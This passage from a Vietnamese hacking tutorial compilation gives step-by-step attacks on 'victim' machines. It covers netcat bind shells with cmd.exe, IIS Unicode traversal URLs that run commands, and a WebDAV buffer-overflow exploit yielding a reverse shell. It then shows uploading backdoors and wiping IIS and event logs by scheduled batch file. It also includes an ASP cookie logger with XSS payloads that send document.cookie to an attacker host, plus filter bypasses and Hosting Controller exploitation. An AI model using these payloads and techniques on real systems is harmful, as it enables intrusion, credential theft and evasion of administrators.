6c 0d 0a 0d 0a # l.... dấu < nghĩa là server gởi đến netcat dấu > nghĩa là netcat gởi đến server _ Quét cổng : Bạn hãy chạy netcat với tùy chọn –z . Nhưng để quét cổng nhanh hơn, bạn hãy dùng -n vì netcat sẽ không cần thấm vấn DNS. Ví dụ để scan các cổng TCP(1->500) của host 172.16.106.1 CODE [dt@vicki /]# nc -nvv -z 172.16.106.1 1-500 (UNKNOWN) [172.16.106.1] 443 (?) open (UNKNOWN) [172.16.106.1] 139 (?) open (UNKNOWN) [172.16.106.1] 111 (?) open (UNKNOWN) [172.16.106.1] 80 (?) open (UNKNOWN) [172.16.106.1] 23 (?) open nếu bạn cần scan các cổng UDP, dùng -u CODE [dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500 (UNKNOWN) [172.16.106.1] 1025 (?) open (UNKNOWN) [172.16.106.1] 1024 (?) open (UNKNOWN) [172.16.106.1] 138 (?) open (UNKNOWN) [172.16.106.1] 137 (?) open (UNKNOWN) [172.16.106.1] 123 (?) open (UNKNOWN) [172.16.106.1] 111 (?) open _ Biến Netcat thành một trojan : Trên máy tính của nạn nhân, bạn khởi động netcat vào chế độ lắng nghe, dùng tùy chọn –l ( listen ) và -p port để xác định số hiệu cổng cần lắng nghe, -e <tên_chương_trình_cần_chạy> để yêu cầu netcat thi hành 1 chương trình khi có 1 kết nối đến, thường là shell lệnh cmd.exe ( đối với NT) hoặc /bin/sh(đối với Unix). Ví
  • 180.
    http://wWw.Hack.Cf Page 180 dụ: CODE E:>nc-nvv -l -p 8080 -e cmd.exe listening on [any] 8080 ... connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159 sent 0, rcvd 0: unknown socket error Trên máy tính dùng để tấn công, bạn chỉ việc dùng netcat nối đến máy nạn nhân trên cổng đã định, chẳng hạn như 8080 CODE C:>nc -nvv 172.16.84.2 8080 (UNKNOWN) [172.16.84.2] 8080 (?) open Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-1999 Microsoft Corp. E:>cd test cd test E:test>dir /w dir /w Volume in drive E has no label. Volume Serial Number is B465-452F Directory of E:test [.] [..] head.log NETUSERS.EXE NetView.exe ntcrash.zip password.txt pwdump.exe 6 File(s) 262,499 bytes 2 Dir(s) 191,488,000 bytes free C:test>exit exit sent 20, rcvd 450: NOTSOCK Như các bạn đã thấy , ta có thể làm những gì trên máy của nạn nhân rồi , chỉ cần một số lệnh cơ bản , ta đã chiếm được máy tính của đối phương , các bạn hãy xem tiếp nhé : CODE E:>nc -nvv -L -p 8080 -e cmd.exe listening on [any] 8080 ...? ? Riêng đối với Netcat cho Win, bạn có thể lắng nghe ngay trên cổng đang lắng nghe. Chỉ cần chỉ định địa chỉ nguồn là -s<địa_chỉ_ip_của_máy_này>. Ví dụ: CODE netstat -a ... TCP nan_nhan:domain nan_nhan:0 LISTENING <- cổng 53 đang lắng nghe
  • 181.
    http://wWw.Hack.Cf Page 181 ... E:>nc-nvv -L -e cmd.exe -s 172.16.84.1 -p 53 -> lắng nghe ngay trên cổng 53 listening on [172.16.84.1] 53 ... connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163? ? Trên Windows NT, để đặt Netcat ở chế độ lắng nghe, không cần phải có quyền Administrator, chỉ cần login vào với 1 username bình thường khởi động Netcat là xong. Chú ý: bạn không thể chạy netcat với ... -u -e cmd.exe... hoặc ...-u -e /bin/sh... vì netcat sẽ không làm việc đúng. Nếu bạn muốn có một UDP shell trên Unix, hãy dùng udpshell thay cho netcat. ( Dựa theo bài viết của huynh Vicky ) 49 . ) Kỹ thuật hack IIS server 5.0 : _ IIS server với các phiên bản từ trước đến phiên bản 5.0 đều có lỗi để ta có thể khai thác , do bây giờ hầu hết mọi người đều dùng IIS server 5.0 nên lỗi ở các phiên bản trước tôi không đề cập đến . Bây giờ tôi sẽ bày các bạn cách hack thông qua công cụ activeperl và IE , các bạn có thể vận dụng cho các trang Web ở VN vì chúng bị lỗi này rất nhiều . Ta hãy bắt đầu nhé . _ Trước hết các bạn hãy download activeperl và Unicode.pl . _ Sử dụng telnet để xác định trang Web ta tấn công có sử dụng IIS server 5.0 hay không : CODE telnet < tên trang Web > 80 GET HEAD / HTTP/1.0 Nếu nó không báo cho ta biết mục tiêu đang sử dụng chương trình gì thì các bạn hãy thay đổi cổng 80 bằng các cổng khác như 8080, 81, 8000, 8001 .v.v… _ Sau khi đã xác định được mục tiêu các bạn vào DOS gõ : CODE perl unicode.pl Host: ( gõ địa chỉ server mà các bạn muốn hack ) Port: 80 ( hoặc 8080, 81, 8000, 8001 tuỳ theo cổng mà ta đã telnet trước đó ) . _ Các bạn sẽ thấy bảng liệt kê lỗi ( đã được lập trình trong Unicode.pl ) như sau : CODE [1] /scripts/..%c0%af../winnt/system32/cmd.exe?/c+ [2]/scripts..%c1%9c../winnt/system32/cmd.exe?/c+ [3] /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+ [4]/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+ [5] /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+
  • 182.
    http://wWw.Hack.Cf Page 182 [6]/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+ [7] /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+ [8] /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+ [9] /scripts/..%c1%af../winnt/system32/cmd.exe?/c+ [10] /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+ [11]/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+ [12] /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+ [13]/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+ [14]/msadc/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system3 2/cmd.exe?/c+ [15]/cgi- bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+ [16]/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cm d.exe?/c+ [17]/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/c md.exe?/c+ [18]/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd .exe?/c+ [19]/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd .exe?/c+ [20]/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/c md.exe?/c+ Các bạn sẽ thấy được tất cả các lỗi trên nếu trang Web nạn nhân bị tất cả những lỗi như vậy , nếu server của nạn nhân chỉ bị lỗi thứ 13 và 17 thì bảng kết quả chỉ xuất hiện dòng thứ 13 và 17 mà thôi . Tôi lấy VD là bảng kết quả cho tôi biết trang Web nạn nhân bị lỗi thứ 3 và 7 , tôi sẽ ra IE và nhập đoạn mã tương ứng trên Address : http://www.xxx.com/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+ < == lỗi dòng thứ 3 hoặc http://www.xxx.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+ < == lỗi dòng thứ 7 Đến đây các bạn đã có thể xâm nhập vào server của nạn nhân rồi đó , các bạn hãy sử dụng lệnh trong DOS mà khai thác thông tin trong này . Thông thường các trang Web nằm ở thư mục vinetpubwwwroot , các bạn vào được rồI thì chỉ cần thay index.html vớI tên hack by …. Là được rồi , đừng quậy họ nhé . GOOKLUCK!!!!!!!!!!!!!!! ( Hết phần 8 ) Bài viết của ANHDENDAY Đây là phần 9
  • 183.
    http://wWw.Hack.Cf Page 183 50. ) Kỹ thuật hack server thông qua lỗi tràn bộ đệm WebDAV : _ Giới thiệu : Giao thức World Wide Web Distributed Authoring and Versioning (WebDAV) là một tập hợp các mở rộng cho giao thức HTTP dùng để cung cấp một cách thức chuẩn cho việc biên tập và quản lý file giữa các máy tính trên Internet. Lỗi tràn bộ đệm đã được phát hiện trong một thành phần của Windows 2000 được sử dụng bởi WebDAV có thể cho phép kẻ tấn công chiếm quyền điều khiển máy tính . _ Chuẩn bị : Ngoài những đồ nghề đã giới thiệu ở các bài trước , các bạn hãy vào down thêm www32.brinkster.com/anhdenday/wb.zip extract để ở trong C: _ Khai thác : + Tìm một trang Web dùng IIS 5.0 + Vào Dos , vào đặt NETCAT ở chế độ lắng nghe : CODE C:>nx -vv -l -p 53 listening on [any] 53 ... Ta để nó lắng nghe ở cổng 53 vì tường lửa ko chặn cổng này . + Mở thêm một của sổ DOS nữa . + Ta sử dụng WebDAV vừa down về . c:wb.exe <IP của máy chủ IIS> <IP của máy tính của mình dùng để tấn công> <cổng lắng nghe> [padding=1,2,3...] VD : CODE C:> webdav xxx.xxx.xxx.xxx 203.162.xxx.xxx 53 1 [Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt] www.coromputer.net && undernet #coromputer Checking WebDav on 'xxx.xxx.xxx.xxx' ... FOUND exploiting ntdll.dll through WebDav [ret: 0x00100010] Connecting... CONNECTED Sending evil request... SENT Now if you are lucky you will get a shell. + Nếu như may mắn bạn có thể lấy được shell của máy chủ IIS . Nếu như ở máy tính dùng để tấn công hiện ra kết quả như sau thì bạn đã có shell rồi đó : CODE C:>nc -vv -l -p 53 listening on [any] 53 ... connect to [203.162.xxx.xxx] from xxx.xxx.xxx.xxx[xxx.xxx.xxx.xxx] 1125 Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp.
  • 184.
    http://wWw.Hack.Cf Page 184 C:WINNTsystem32><-- OK đã thành công rùi. :mellow: :mellow: :mellow: + Khi đã có shell rồi việc đầu tiên là ta sử dụng các lệnh trong Unix để khai thác , sau đó up lên server vài con backdoor , he he . ( Sử dụng con WinShell, Hack Defensed là ok rùi ) . + Sau khi làm xong ta sẽ xoá file log , để xác định file log ta thực hiện câu truy vấn sau : CODE C:WINNTsystem32>reg query HKLMSYSTEMCurrentControlSetServicesW3SVCParameters /v LogFileDirectory ! REG.EXE VERSION 2.0 kết quả nó sẽ xuất hiện link để ta xác định file log : CODE HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW3SVCParameters LogFileDirectory REG_SZ C:WINNTSystem32LogFiles He he , đường dẫn file log là C:WINNTSystem32LogFiles + Ta tạo một file a.bat trên máy của nạn nhân để thực hiện việc xoá file log này , ta đánh các lệnh sau : CODE C:WINNTsystem32>echo iisreset /stop >a.bat ' tạm dừng server IIS C:WINNTsystem32>echo rd /q /s C:WINNTSystem32LogFiles >>a.bat ' xóa nhật kí của IIS C:WINNTsystem32>echo iisreset /start >>a.bat ' khởi động lại IIS C:WINNTsystem32>echo ce >>a.bat ' xóa nhật kí của Event Log C:WINNTsystem32>echo del a.bat >>a.bat ' xóa file a.bat + Sau đó ta dùng các lệnh sau để cho flie a.bat kia làm việc : CODE C:WINNTsystem32>net time xxx.xxx.xxx.xxx ' lấy thời gian hiện tại của máy chủ Nó sẽ cho kết quả như VD sau : CODE Current time at xxx.xxx.xxx.xxx is dd/mm/yy 3:00 PM The command completed successfully . Như vậy thờI gian hiện tạI trên máy chủ là 15:00 , ta sẽ cho file a.bat làm việc sau 5
  • 185.
    http://wWw.Hack.Cf Page 185 phútnữa bằng lệnh sau : CODE C:WINNTsystem32>at 15:05 a.bat Added a new job with job ID = 1 Ta có thể mặc đinh cho file a.bat tự động làm việc sau bao lâu là tuỳ vào thông số thời gian bạn đưa vào . Ta thoát khỏi máy chủ bằng lệnh : CODE C:WINNTsystem32>exit ' đóng kết nối sent 207, rcvd 746 + Lúc này thì mấy admin có tài thánh cũng ko biết là đã có người thâm nhập. _ Sau này các bạn muốn quay lại cái server trên thì ta đột nhập trực tiếp thông qua backdoor các bạn đã up lên. _ Kèm theo file Wb.exe tôi đã để thêm 2 file nữa đó là : + xoafilelog.exe : dùng để xoá file log trong server của victim . + wbscaniis.xpn : dùng để quét xem server victim có bị lỗi này cho ta khai thác hay không , các bạn tự tìm hiểu để sử dụng chúng nhé. ( Tham khảo từ bài viết của seamoun ) 51 . ) Lỗi CROSS SITE SCRIPTING và cách khai thác : _ Giới thiệu : Lỗi XSS ( tên gọi của Cross-Site Scripting ) nói nôm na là hacker có thể thông qua lỗi này để chèn code vào site hay link để chôm các thông tin quan trọng từ nạn nhân, các thông tin quan trọng ở đây có thể là cookie hoặc username + pass để vào tài khoản 1 ngân hàng nào đó sau đó thông tin này được gửi tới cho hacker . _ Chuẩn bị : + Lấy đoạn code sau save lại thành file cookie.asp rồi up lên host của bạn có hỗ trợ asp ( như brikster.com ) : CODE <% Set x = CreateObject("Scripting.FileSystemObject") Set y = x.OpenTextFile(Server.MapPath("mask.txt"), 8, true) y.WriteLine Request.QueryString("cookie") y.Close Set y = Nothing Set x = Nothing %> _ Kiểm tra trang Web bị lỗi : + 1 site bất kì bao giờ cũng có 1 hoặc tất cả các phần sau : search results, error messages , Web-form , chủ yếu lỗi XSS nằm ở các phần này , nói chung là XSS có
  • 186.
    http://wWw.Hack.Cf Page 186 thểxảy ra ở chỗ nào mà người dùng có thể nhập dữ liệu vào và sau đó sẽ nhận được 1 cái gì đó . + Cách tìm lỗi ta chia thành 4 bước : Bước 1 : Mở website cần kiểm tra . Bước 2 : Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi thông tin đi (nhập thông tin và nhấn submit hay login hay ok gì đó ) , ví dụ nhập chữ "abc" chẳng hạn hay chữ gì cũng được . Bước 3 : Xác định khả năng site có bị lỗi XSS hay không bằng cách xem thông tin trả về : Ví dụ bạn thấy như thế này : "Your search for 'abc' did not find any items" "Your search for 'abc' returned the following results" "User 'abc' is not valid" "Invalid login 'abc'" hoặc là cái gì đó mà có dính tới chữ "abc" mà bạn nhập vào ban đầu thì 99% thằng này bi XSS Bước 4 : Chèn code thực sự vào nơi bị lỗi : chèn cái này : <script>alert('abc')</script> vào ô ban nãy và nhấn SUBMIT . Nếu sau đó bạn nhận được 1 popup có chữ "abc" thì thằng này 100% bị dính XSS . Nhưng xin chú ý , thỉnh thoảng vẫn có trường hợp website đó bị dính XSS nhưng vẫn không xuất hiện cái popup thì buộc lòng bạn phải VIEW SOURCES nó ra để xem . Khi view sources nhớ kiếm dòng này<script>alert('abc')</script> , nếu có thì XSS đây rồi . Một ví dụ khác thường gặp hơn : Gọi http://sitebiloi.com là site bị dính lỗi XSS và ta tìm được nơi bị lỗi như thế này : ..." target=_blankhttp://sitebiloi.com/?page=<script>...<script> , nghĩa là ta có thể chèn code ngay trên thanh ADDRESS . Tôi không thể trình bày hết mọi tình huống được , cái mà các bạn cần là hiểu ra vấn đề thì bạn sẽ hiểu được khi nào bị lỗi . _ Khai thác : + Lấy lại ví dụ site bị XSS trên thanh address , để lấy cookie của nạn nhân ta làm như thế này : http://sitebiloi.com/index.asp?page=<script>window.open("http:// địa chỉ trang Web ta vừa up file cookie. asp lên /cookie.asp?cookie="+document.cookie)</script> thì ngay lập tức đoạn code đã được chèn vào trong web page , và trông như vầy : CODE ----------------------------------------------------------- <HTML> <TITLE> Hello all! </TITLE> hello <script>window.open("địa chỉ trang Web ta vừa up file cookie.asp lên /cookie.asp?cookie="+document.cookie)</script> ... </HTML> --------------------------------------------------------------
  • 187.
    http://wWw.Hack.Cf Page 187 Vớiđoạn code này thì trình duyệt sẽ thi hành đoạn code và sau đó sẽ gửi toàn bộ cookie tới cho bạn ở dạng file .txt và bạn chỉ việc mở file này ra xem . + Vậy gặp trường hợp nhà quản trị hạn chế sự xâm nhập bằng cách lọc bỏ các ký tự đặc biệt ta phải làm sao ? Các bạn thử cách thay thế các ký tự đó bằng các mã đại diện . VD : * Nếu "Bộ lọc" loại bỏ 2 kí tự "<" và ">" : Hacker sẽ dùng "x3c" và "x3e" để thay thế và bắt đầu chèn code với ') + ') + 'x3cscript src=http://hostbanupfile.com/cookie.asp?cookie="+document.cookiex3ex3c/script x3e' Để tìm hiểu thêm về mã đại diện các bạn hãy download tại : www32.brinkster.com/anhdenday/ascii.zip về nghiên cứu . + Biến các đoạn code nguy hiểm thành lời chú giải (comment) : Ví dụ khi hacker nhập vào <script>code</script> thì sẽ bị chặn như sau : CODE <COMMENT> <!-- code (không được phân tích bởi bộ lọc) //--> </COMMENT> Vượt qua cái này cũng rất dễ bằng cách dùng thẻ đóng </COMMENT> để đóng cái <COMMENT> kia . Nghĩa là ta chèn cái này vào : <script> </COMMENT> <img src="http://none" onerror="alert(abc was here);window.open( http://sitebanupfile.com/cookie.asp?cookie...cument.cookie); "></script> lúc này đoạn lọc code ban đầu trở thành : <COMMENT> CODE <!-- - --> </COMMENT> <img src="h*tp://none" onerror="alert(abc was here);window.open( http://sitebanupfile.com/cookie.asp?cookie...cument.cookie); "> </script> </COMMENT>
  • 188.
    http://wWw.Hack.Cf Page 188 vàthế là bộ lọc bị vô hiệu hoá 1 cách nhanh chóng . ( Dựa theo bài viết của Mask_NBTA ) 52 . ) Tìm hiểu về lỗ hổng Unicode trong Microsoft IIS : _Giới thiệu: Microsoft IIS là một phần mềm web server. Nó chứa tất cả file của một website, và làm chúng có hiệu lực cho mọi người dùng trên internet. Nhưng như tất cả các phần mềm khác, (đặc biệt là của Microsoft) nó có lỗ hỏng bảo mật Unicode trong IIS của Microsoft, nhưng "không may" những người quản trị thì lại không quan tâm đến việc cài đặt những patch fix lỗi đó. Trong bài hướng dẫn này, ta thảo luận về cách mà lỗi này hoạt động, và Tại sao nó hoạt động được. Khi bạn viếng thăm một website, địa chỉ của file bạn hiện giờ đang xem sẽ giống như sau: http://www.someserver.com/ Đây là remote address của web server, hiển thị trên thanh address của trình duyệt. Bất kỳ ai cũng có thể truy cập nó trên internet. Khi vào site này, web server sẽ đưa cho bạn file index, (index.html hay ) của root folder web server. Hầu hết những root folder của một web server là: C:inetpubwwwroot Đây là thư mục local của web servers, nơi cất giữ tất cả các trang chính của website. Vì vậy nếu bạn gõ địa chỉ sau: http://www.someserver.com/index.html Ở trình duyệt, web server sẽ đưa cho bạn local file của nó: c:inetpubwwwrootindex.html Tôi hy vọng bạn sẽ không quá nhàm chán, việc quan trọng nhất là bạn phải hiểu được sự khác nhau giữa địa chỉ local và remote. Bây giờ, cái gì sẽ xảy ra nếu ta muốn di chuyển một cặp thư mục lên web server? Ta muốn di chuyển từ c:inetpubwwwroot Đến c: chúng ta sẽ làm như thế nào? Bạn không thể gõ: http://www.someserver.com/c: Chú thích Web server sẽ bắt đầu đi qua local của nó c:inetpubwwwroot Đối với những thư mục riêng, và do bạn không thể có : trong thư mục, nó sẽ đỗ vỡ
  • 189.
    http://wWw.Hack.Cf Page 189 vàbạn nhận được thông báo lỗi trong trình duyệt. Tiếc quá! nó không hoạt động. Nếu đã quen với FTP, thì bạn cũng biết lệnh DIRUP dùng để làm gì. Lệnh để đi đến một thư mục ở trên là /../ Nếu bạn thiết kế bất kỳ web hay mã html nào thì chắc chắn bạn sẽ dùng được rất nhiều. Vì thế ta chỉ đặt lệnh lẫn nhau, giống như sau http://www.someserver.com/../../ Và bắt đầu truy cập vào ổ đĩa c local của server? Tốt, ta bắt đầu khai thác ở đây, nhưng người tạo IIS lại muốn tránh phiền phức, bằng cách làm server từ chối loại yêu cầu này.Vì thế ta phải làm gì đây?Bạn có bao giờ thử download một file mà trong tên của nó có khoảng trống chưa? Bạn có nhận được thông báo là trình duyệt đã biến đổi khoảng trống đó thành %20 không? Hãy làm 1 ví dụ. Nếu bạn gõ cái này trong trình duyệt: http://www.someserver.com/iis Unicode hole.txt Trình duyệt sẽ thay thế khoảng trống bằng %20 : http://www.someserver.com/iis%20unicode%20hole.txt Và sau đó mới cho phép bạn download file. Đó là cái gì, và tại sao trình duyệt lại phải làm như thế? Máy tính không thể hiểu được khoảng trống. Đơn giản là chúng không làm được vậy thôi. %20 ở đây chính là Unicode cho ký tự ASCII mà ta hay gọi là “khoảng trống”. Ký tự ASCII là những ký tự mà ta thấy trên màn hình khi dùng máy tính. Chỉ có một Unicode cho mỗi ký tự ASCII. Vì thế, khi bạn đưa một khoảng trống vào trình duyệt, nó phải được thay thế bằng cái gì mà cho máy tính có thể hiểu được trước khi nó bắt đầu tìm kiếm. Để tìm hiểu thêm về ASCII các bạn down tại : www32.brinkster.com/anhdenday/ascii.zip Từ khi trình duyệt biến đổi khoảng trống thành ký tự Unicode mới và gửi chúng đến web server mà có thể hiểu được, ta cũng có thể dùng ký tự Unicode để giải thích bất cứ thứ gì ta muốn, và web server sẽ cũng hiểu được chúng. Không chỉ với khoảng trống. Mà ta cũng có thể biến đổi lệnh DIRUP thành Unicode, và gửi chúng đến server. Ta cần biến đổi dấu gạch chéo (/) thành /../../ trong Unicode. Unicode của / là %5C . Thật là tuyệt, nếu sau đó tôi chỉ cần gõ http://www.someserver.com/..%5C.. %5C/ và tôi có thể thấy host được không? Khai thác ở đây, nhưng có một vài lý do nó không hoạt động. Đầu tiên, nếu bạn đã làm với server’s local c: Bạn sẽ cần một vài thứ để đóng thư mục. Web server sẽ không làm như vậy cho bạn. Vì vậy chúng ta cần mở cmd.exe
  • 190.
    http://wWw.Hack.Cf Page 190 (dấunhắc DOS) của server. Trong trình duyệt của bạn! Nhưng chúng ta sẽ quay lại vấn đề này sau. Thứ hai, khi server giải mã /..%5C.. %5C/ Nó sẽ thành /../../ mà lại bị hạn chế, và sau đó từ chối yêu cầu. Vì thế ta cần phải làm gì, hay mã hoá Unicode đã mã hóa rồi một lần nữa. Có thể bạn sẽ không theo tôi ngay bây giờ, nhưng tôi sẽ cố gắng giải thích một lần nữa. Ta cần mã hoá mọi ký tự của chuỗi Unicode đã có. Xem bảng dưới sẽ hiểu hơn. CODE [COLOR=purple]ASCII................................. UNICODE[/COLOR] %........................................ %25 5.......................................... %35 C............................ .............%43 Vì vậy khi ta mã hóa ký tự ASCII /..%5C.. %5C/ Sang Unicode, ta được ..%25%35%43..%25%35%43 Và khi server đọc chuỗi ký tự này, nó sẽ trở lạI /..%5C.. %5C/ Đó không phải là lệnh DIRUP bình thường, nên nó được cho phép. Nhưng có một vài thứ chúng ta cần biết. Như tôi đã đề cập ở trước, khi bạn kết nối đến một web server, thư mục root mặc định là wwwroot. Thư mục này những trang chính của site. Nhưng có những thư mục khác cho những trang web như yếu tố scripts. Những thư mục này có chứa file mà có khá nhiều thứ quan trọng trong web server. Vì vậy khi vận dụng server, ta cần làm nó từ thư mục mà ta đã có đặc quyền để làm. Điều này không khó; Tôi chỉ muốn bạn hiểu tại sao tôi thêm /scripts/ vào cuối URL. Rốt cuộc, khi ta thi hành lệnh ở dấu nhắc server’s local dos prompt, ta cần thi hành một lệnh cũng trong cái này. Ta muốn hiển thị c: ? Dễ thôi; ta chỉ cần làm vài thủ thuật khác hơn bạn thường làm ở dấu nhắc dos. Bắt đầu cmd.exe theo cách sau: cmd.exe?/c+ ? = Mọi thứ sau dòng đối số của lệnh. /c = Thi hành lệnh, sau đó đóng cmd.exe (để cho nó không chạy mãi) + = Thay thế cho khoảng trống Cuối cùng, toàn bộ lệnh ráp lại sẽ như sau: http://www.myserver.com/scripts/..%25%35%43..%25%35%43/winnt/system32/c md.exe?/c+dir+c: Và bạn thấy được c: của servers bên trong trình duyệt. Hehe? _ Chú thích: Có rất nhiều “lệnh” Unicode khác để cho ta thi hành, nếu cái này không hoạt động (có thể server đã fix được phần nào) thì thử áp dụng những cách sau:
  • 191.
    http://wWw.Hack.Cf Page 191 CODE /msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+C: /_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe ?/c+dir+C:……. ( Một bài viết rất chất lượng của LeonHart bên www.whatvn.com ) 53 . ) Kỹ thuật hack Hosting controller : _Tìm site bị lỗi : vào Google.com đánh vào một trong các từ khoá sau : + copyright Hosting Controller . + allinurl:/advadmin . + allinurl:/admin . Sau khi tìm được ta thử xét trang Web đó có bị lỗi hay ko bằng cách sử dụng 2 đoạn code : CODE http://www.victim.com/advwebadmin*hoac admin*/stats/statsbrowse.asp?filepath=c:&Opt=3 ( Lệnh này xem ổ đĩa của victim ) www.victim.com/advwebadmin/autosignup/newwebadmin.asp ( Lệnh này tạo một free hosting ) Nếu như 2 lệnh trên cùng thực hiên được thì ta có thể khai thác chúng được rồi đó , he he . _ Cách khai thác : + Vì tạo được hosting nên ta có thể upload được file vô tư , các bạn hãy chú ý thử xem địa chỉ mà cất các file ta vừa upload lên ở đâu ( bằng cách nhìn vào thanh statup ) . + Tiếp theo là ta làm sao chuyển cái file đó vào thư mục chứa trang chủ của nạn nhân , theo mặc định nó sẽ nằm ở đây : C:Program FilesAdvanced CommunicationsNT Web Hosting Controllerweb ( Các bạn có thể thay ổ C: bằng D: , E: ) + Khi xác định được chính xác địa chỉ rùi ta sẽ tìm đoạn script để làm giúp : http://[targethost]/admin/import/imp_rootdir.asp?result=1&www=C:&ftp=C:( đường dẫn đến thư mục web victim )&owwwPa th=C:&oftpPath=C:( đường dẫn đến thư mục ta vừa upload file ) + Các bạn có thể test đường dẫn file up lên có chính xác không bằng cách up lên file a.html bất kỳ , giả sử nó được up lên nằm ở C:Program FilesAdvanced CommunicationsNT Web Hosting Controllerwebadmina.html ta sẽ test bằng cách đánh đường dẫn ở URL :
  • 192.
    http://wWw.Hack.Cf Page 192 www.victim/admin[avdadmin]/a.html +Nếu như đúng là chính xác rồi thì chỉ cần up “Đồ nghề” lên là xong , . ---------------------------------------------------------------------------------------------- GOODLUCK!!!!!!!!!!!!!!!!! ( Hết phần 9 ) Bài viết của ANHDENDAY type lệnh thì phải type cho đúng, tập cẩn thận cho quen đi nhé/ netstat -option ( với options là gì thì type netstat -help) netstat -help Displays protocol statistics and current TCP/IP network connections. NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [interval] -a Displays all connections and listening ports. -e Displays Ethernet statistics. This may be combined with the -s option. -n Displays addresses and port numbers in numerical form. -p proto Shows connections for the protocol specified by proto; proto may be TCP or UDP. If used with the -s option to display per-protocol statistics, proto may be TCP, UDP, or IP. -r Displays the routing table. -s Displays per-protocol statistics. By default, statistics are shown for TCP, UDP and IP; the -p option may be used to specify a subset of the default. interval Redisplays selected statistics, pausing interval seconds between each display. Press CTRL+C to stop redisplaying statistics. If omitted, netstat will print the current configuration information once.